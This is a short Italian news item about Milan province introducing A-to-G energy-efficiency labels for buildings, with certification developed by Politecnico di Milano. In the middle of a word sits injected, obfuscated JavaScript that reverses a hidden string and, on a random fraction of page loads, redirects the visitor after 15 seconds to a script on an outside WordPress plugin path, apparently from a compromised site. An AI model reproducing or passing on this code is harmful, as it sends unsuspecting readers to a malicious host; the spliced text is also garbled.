Milano etichetta gli edifici

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Come i frigoriferi e le lavatrici, anche le case della provincia di Milano avranno la loro etichetta a scalini che con una efficace colorazione che va dal Verde al Rosso identifica sette classi, da A per i bassi consumi, a G per gli alti consumi. La Provincia ha infatti presentato la nuova procedura di certificazione energetica messa a punto dal Politecnico di Milano e sta cre (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando un ente apposito per formare i certificatori. L’etichetta energetica permetterà di conoscere il reale consumo di un appartamento o di un edificio, come avviene da anni in Alto Adige dove la richiesta di certificati ‘Casa Clima’ è aumentata, a discapito degli edifici meno efficienti. I certificati, ponendo al centro dell’attenzione i consumi, ribalterebbero la questione della crisi energetica cercando di fare leva sulla diminuzione della domanda piuttosto che sull’aumento dell’offerta.

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